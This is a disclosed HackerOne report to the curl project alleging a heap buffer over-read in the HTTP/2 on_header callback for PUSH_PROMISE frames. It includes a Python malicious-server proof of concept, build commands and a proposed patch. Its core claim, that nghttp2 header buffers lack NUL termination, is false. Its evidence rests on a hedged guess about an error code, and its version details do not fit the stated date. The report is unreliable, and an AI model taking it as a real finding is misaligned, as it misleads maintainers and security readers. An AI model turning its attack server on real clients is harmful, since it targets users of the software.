HexBrain

curl · Report #3480078

Heap Buffer Over-read in lib/http2.c (on_header) handling PUSH_PROMISE frames

N/Astatus
highseverity
8upvotes
28 Dec 2025disclosed

How it was found

Summary:

I have discovered a Heap Buffer Over-read vulnerability in lib/http2.c within the on_header callback function. When processing HTTP/2 PUSH_PROMISE frames, the code incorrectly uses the %s format specifier on raw pointers provided by nghttp2.

According to nghttp2 documentation, the name and value pointers in the on_header callback are not null-terminated. By using %s without precision specifiers, curl_maprintf reads past the bounds of the allocated buffer into adjacent heap memory until it encounters a null byte. This leads to a Denial of Service (crash via OOM or invalid read) or potentially leaks sensitive heap memory.

Vulnerability Details

  • File: lib/http2.c
  • Function: on_header
  • Vulnerable Logic:

Inside the on_header function (handling NGHTTP2_PUSH_PROMISE), the code acts as follows:

/* lib/http2.c around line 1642 in master */
h = curl_maprintf("%s:%s", name, value);
Since name and value are not null-terminated C-strings, curl_maprintf continues reading memory indefinitely.

Contrast with Secure Code: In the same file (handling trailers), the developers correctly used precision specifiers:
/* Correct usage found elsewhere in the file */
CURL_TRC_CF(data, cf, "[%d] trailer: %.*s: %.*s",
            stream->id, (int)namelen, name, (int)valuelen, value);

Affected version
Reproduced on the latest master branch (commit 752d... / curl 8.6.0-dev). Platform: Linux (Reproduced with ASAN build).

Steps To Reproduce:
To reproduce this issue, you need a malicious HTTP/2 server that sends a PUSH_PROMISE frame with a payload that triggers the over-read.

Note: While curl CLI disables HTTP/2 Push by default, libcurl applications enabling it are vulnerable. For reproduction purposes using the CLI, we must ensure Push is enabled.

1. Compile curl with AddressSanitizer (ASAN)
./configure --enable-debug --enable-curldebug --with-nghttp2 --with-openssl CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address"
make -j4

2. Setup Malicious Python Server Save the following script as repro.py. It requires pip install h2. (You also need server.key and server.crt for TLS).
import socket
import ssl
from h2.connection import H2Connection
from h2.events import RequestReceived
from h2.config import H2Configuration
from h2.settings import SettingCodes

def run_server():
    host, port = '127.0.0.1', 8443
    ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    ctx.load_cert_chain(certfile="server.crt", keyfile="server.key")
    ctx.set_alpn_protocols(['h2'])

    sock = socket.socket()
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    sock.listen(1)
    print(f"Listening on {port}...")

    while True:
        conn, addr = sock.accept()
        try:
            tls_conn = ctx.wrap_socket(conn, server_side=True)
            config = H2Configuration(client_side=False)
            h2 = H2Connection(config=config)
            h2.initiate_connection()
            tls_conn.sendall(h2.data_to_send())

            while True:
                data = tls_conn.recv(65535)
                if not data: break
                events = h2.receive_data(data)
                for event in events:
                    if isinstance(event, RequestReceived):
                        # Force enable push in python state to bypass checks
                        h2.remote_settings[SettingCodes.ENABLE_PUSH] = 1

                        # Payload: Long string without null terminator concept in H2
                        headers = [
                            (':method', 'GET'), (':path', '/pwn'),
                            (':scheme', 'https'), (':authority', 'localhost'),
                            ('x-trigger', 'A' * 5000)
                        ]
                        h2.push_stream(event.stream_id, 2, headers)
                        tls_conn.sendall(h2.data_to_send())

                tls_conn.sendall(h2.data_to_send())
        except Exception:
            pass
        finally:
            conn.close()

if __name__ == '__main__':
    run_server()

3. Run the Attack
- Terminal 1: python3 repro.py
- Terminal 2: ./src/curl -v -k --http2 https://127.0.0.1:8443 (Ensure the libcurl used accepts Push, or modify lib/http2.c to force ENABLE_PUSH=1 for testing).

4. Observe Results The curl process will either crash with an ASAN report or return error (56) ... returned -902:The user callback function failed.

The error -902 confirms that on_header failed, likely due to memory allocation failure when curl_maprintf attempted to read gigabytes of heap data starting from the non-null-terminated buffer.

## Impact

Impact
This is a heap buffer over-read.
1. Denial of Service: It causes the client to crash or exhaust memory.
2. Information Leak: It may leak adjacent heap data into the header string, which could be processed or logged by the application.

Recommended Fix
Update the curl_maprintf call to use precision specifiers with the length provided by nghttp2:
h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original